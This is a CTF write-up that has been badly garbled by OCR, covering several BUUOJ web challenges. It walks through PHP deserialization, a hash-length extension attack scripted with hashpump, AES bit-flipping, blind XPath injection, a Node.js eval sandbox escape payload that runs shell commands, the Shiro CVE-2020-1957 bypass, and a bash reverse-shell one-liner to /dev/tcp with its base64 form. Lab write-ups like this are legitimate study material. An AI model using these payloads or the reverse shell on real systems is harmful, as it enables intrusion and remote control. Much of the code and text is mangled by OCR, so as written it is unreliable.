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CSCRIPT language=javascript?
function runClock() {
theTime = window. setTimeout ("runCIockly , 1007
var today = new Date():

var display= today. toLocaleString():

window. status=""+display+ [ K H f4HELEN":
trunClock(};

</SCRIPT>

</body>

T FF 8582 time php?source

<?php
Zerror_reporting(0) ;
class HelloPhp

{

public 3a;
public $b;
public function __ construct() {

$this—>a = "Y-md h:i:s";
$this—>b = “date”:

public function _ destruct() {
$a = $this—a;
§b = S§this—b;
echo $b($a);

}
$c = new HelloPhp;

if(isset($_GET[ source’]))

{
highlight_file( FILE_):
die(0) ;

1

@Sppp = unserialize($ GET["data”]);
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public $a;
public $b;

$c = new HelloPhp;
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username/password error<html>
{!—md5 ($secret. $name) =—==§pass —>
/html>
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Accept-Language: th-ON zhg =008 th-TWig =0.7,zh- HKKq =05 en-USq=0.3 enq=002
Connection: keep-alive
Cookie: Hash=1a2554 58050501 927751 abeded0tia
Host: 1alT60e6-7c35-41b3-01 31-asddfbedbalE noded buuel cn
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HTTP/1.1 200 OK

Server. openresty

Date: Sun, 26 Apr 2020 18:08:27 GMT
Contant-Type: text/himl; charset=UTF-8
Content-Length: 241

Connection: close

Vary: Accept-Encoding

¥-Powerad-By: PHP/7.0.33

<html=
<head>
<script language="javascrpl™ type="texi/javascrpt™>
window. location, href="404. html™;
<fscript>
<title>this_is_not_fldg_and_ti8 A _wants_girlfriend</itle>
<fhead>
<>
|=body>
include($_GET["file ]j</body>
o<t
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BE. #EilTihEsecretZ=8IE, oJLAF Thashpumpi, o]l LI5S

import os
import requests
for i in range(1,12):
data=os.popen('hashpump -s de73312423b&35b22bfdc3c6édaTbh63es -d
admin -k "#str(i)+' -a admin').read()
name=data.split('\n')[8]
password=data.split({'\n")[1].replace('\\x","'%")
result=requests.get('http://192.168.0.166
{index.php?name="+password+'&pass="+name) . text

print{result)
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I;
if(md5($secret.$name)===%pass){
echo

felse{
setcookie( ,md5($secret.$name),time()+3600000);
echo

It
s

html

md5($secret.$name)===$pass
alin
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<?php
Ssecret="%"545#fdflag_is_not_here_ha_ha’
e
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html
head
script language type

window.location.href
script
title>this_is _not_fl4g_and_at°é¢"a*° wants_girlfriend</title
head

body
php
$file=$_GET['file'];
if(preg_match(
die( );

t

@include($file);
echo

body
html
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import requests
from io import ByteslO
import re
ile_data={
: ByteslO(

r=requests.post(url=url,files=file_data,allow_redirects=False)

except:
print(1)
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<?php
error_reporting(0);

, $key);

if(lisset($_GET[ ’ 1))header(

function aes_encrypt($iv,$data)

{
echo BR;

echo $iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;

}

function aes_decrypt($iv,$data)

i
return openss|_decrypt(base64_decode($data), METHOD,SECRET KEY,OPENSSL RAW_DATA,Siv) or die(

}
if(5_GET]

i
[\
$data = $flag;
echo aes_encrypt($iv,$data);
} else if($_GET][ ]

i

$iv = @$_POST['iv';

$data = @$_POST[ I;
echo aes_decrypt($iv,$data);

BR;

]==1)highlight_file(__FILE_);
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$random_iv
for($i=0;$i<16;$i++){

$random_iv.=chr(rand(1,255));
ki

return $random_iv;

Slalala

if(lisset($_SESSION] DX
$_SESSION['iv'] = get_iv();

$_SESSION] ] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv));

}
echo base64 _encode($ SESSION['iv'])

if(isset($_POST['iv']){

$tmp_id = openss|_decrypt(base64 decode($ SESSION[ 1), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64 decode($
POST['iv]));

echo $tmp _id

if($tmp_id )die($fl4g);

highlight_file(__FILE_);
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(b64.b64decode(iv))

(0,len(target)):
(ord(iv[x]) (target[x]) (source[x]))

print b64.b64encode(".join(iv))
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Raw | &2 | % [ Hex [ o |
POST Mogm.php HTTRPH 1
Host: 76cc07 dB-ce82-4609-b281 -7 3722832 noda3, buuoj.cn
User-Agant: Mozilla/S.0 (Windows NT 10.0; WinGd; »64; ne75.0) Gecko/20100101 Firefon75.0
Accept T
Accept-Language: zh-CN zh;q=0.8 zh-TW, q=0.7 zh-HK; q=0.5 en-US;q=0.3 en;q=0.2
Lccapt-Encoding: gzip, deflate
Content-Type: application/sml
¥-Raquested- With: XMLHipRequast
Contant-Langth: 106
Qrigin: htp: A76ccl7 d8-ceB2-46b3-b281-7 ITFAb22832 node3 buuoj.cn
Connaction: close
Fafarar, Mip ATEcc07 d8-caf2-4603.b281-7371dbIE32 node3 buuoj cnfindex. php
Cookie: PHPSESSID=d275aa7 ed3b5d3835a3cBbTSa19cTET

<usemame=>1"or 1 or "l <fusemame > <password>adsa<ipassword > ok an 200 ATELE o7 TEFTDe 23551 A1 STURMODIZ <Maken >

BRIy, —AsessionABe4ERF15s, M H B Tcsrf-tokenfIfFEAETE RN REEEE R ; — KRG HRZMIREI G REN T .
RIEIE A AB N LA FTREFEEEXPathiE N, AEEFE R —RFER TS
XPathiE A : https://www.cnblogs.com/backlion/p/8554749.html
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import requests

string.ascii_letters+string.digits

def get_csrf():
res = session.get(base_url, headers={

return re.findall(

foriin (20, 35):
for j in chars:
time.sleep(0.2)
temp_payload = payload. (target=target, index=str(i), char=j)

token = get_csrf()

temp_data = data. (username=temp_payload, token=token)

res = session.post(url=base_url
data=temp_data, headers=headers)

if len(res.text)
result += j
break
print(result)

adm1n cf7414b5bdb2e65ee43083f4ddbc4dof
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Mot verified!
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const express = require(
const bodyParser = require(
const cookieSession = require(

const fs = require('fs');
const crypto = require(

const keys = require( )-keys;

function md5(s) {
return crypto.createHash(
.update(s)
.digest(

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&["%<>=,?:]|(?:\d+\.2\d*(?:e\d+)?)| /g,
return null;
ki

return eval(str);

}

const template = fs.readFileSync( )-toString();
function render(results) {
return template.replace( , results.join( ));

}
const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name
keys

1)

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result
const results = req.session.results || [];




const { e, first, second } = req.body;
if (first second first.length second.length first'==second md5(first+keys[0]) md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e)
} catch (e) {
console.log(e);
result
¥
results.unshift(" ${req.body.e}=${result}");
¥
} else {
results.unshift(
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));

});

app.get( , function (req, res) {
res.set(
res.send(fs.readFileSync( ));

});

app.get('/', function (req, res) {

res.set(

reg.session.admin = req.session.admin || O;
res.send(render(req.session.results = req.session.results || []))

});

app.listen(80,
console.log(

});

irst second first.length second.length first!==second md5(first+keys[0]) md5(second+keys[0])
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{*e”1+1” “first”:{"length”:*17},“second”:{“length”:“1"}} # firstflsecond BLEE#F R object, 5 Eh(FF )M NG FBGRHIKR L, MH
% & first.length===second.length

L)
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JBE, AT L Efirstlength === second.length
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if (str.replace(/(?:Math(?:.\w+)?)[[()+/&|*%<>=, 2:]|(?:\d+. 2\d(?:e\d+)?)| /g, *’))
FFArrow Function (Eiskii%) RUTERRE, FHHFELT RE0E X
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function (x) {

return x * x;

12 B H {5 A 55 Sk B8 0T A AR AUA — AT AR A e e !

FEIX R 1 BP 2 ABL

Math._ _proto_ . proto_

((Math)=>(Math=Math.__proto__,Math=Math.__ proto__))(Math)

WAL TR B AN TR 8, #Ufs F String.fromCharCode(...)

RIGEH

Math+1 // ‘[object Math]1’

MIE#IBE 5 H StringFIFunction

B (Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))()))(Math+1)

import re
encode = lambda code: list(
lambda code: "".join(

{encode(

, a).replace(

ER

(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,
109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41
,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)
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BB B N Content-Type: application/json
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90, D00, 0, VO 00U VI VB N1 P, 0, 11,1 1500 LA, 108, 150, 801 980,
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Whitelabel Error Page

This application has no explicit mapping for ferror, so you are seeing this as a fallback.

Fri May 01 18:51:45 QT 2020
There was an unexpected error (type=Method Not Allowed., status=405).
Request method "GET' not supported

iX B FH cve-2020-1957 aid
fEwebZ 8, Shirof# 88 &k 5spring(Senviety AT, FEEEREN TURBKRILEMZR, SHShiroZEHBMsE, m
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Y i url+ /;/json

&= () @ & c711f2cd-f5b9-4778-9908-46d005dadc 38.node L buuej.cn/yfjson
O = mEek-pEELy. [[ csoNSE-TLTR. ) ESEHE-EREES.. (O SEReMooCER. O Fe

Whitelabel Error Page

This application has no explicit mapping for ferror, so you are seeing this as a fallback.

Fri May 01 18:36:13 GMT 2020
There was an unexpected error (tvpe=Method Not Allowed, status=403).

Request method "GET' not supported
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Whitelabel Error Page
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Occasionally there are times when command execution payloads via
Runtime.getRuntime().exec() fail. This can happen when using web shells, deserialization ex-

ploits, or through other vectors,

Sometimes this is because redirection and pipe characters are used in a way that doesn’t make
sense in the context of the process that's being launched. For example, executing 1s >
dir_listing in a shell should output a listing of the cumrent directory into a file called dir_list-
ing . But in the context of the exec() function, that command would instead be interpreted to
feich the listings of the » and dir_listing directories.

Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s "My Directory™ would then be interpreted

as 1s "“"My" ‘Directory™’

With the help of Base64 encoding, the converter below can help reduce these issues. It can make
pipes and redirects great again through calls to Bash or PowerShell and it also ensures that there
aren't spaces within arguments.

Input type: @ Bash O PowerShell O Python O Perl

bash =i >& /devw/tep/192.168.1.1/7777 0>&l

A
bash -c {echo, ¥mFzaCAtasSA+JiAVIGVILIRjcCAXOTIUMTY4LjEUMSEINZcIIDA+IIE=] |
{baset&d,-d} | {bash,-1}
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bash-4.4# cat /flag

cat [/flag
flag{A7c7bB@57-854f-49ed-aelb-d38af9%eBf92e}
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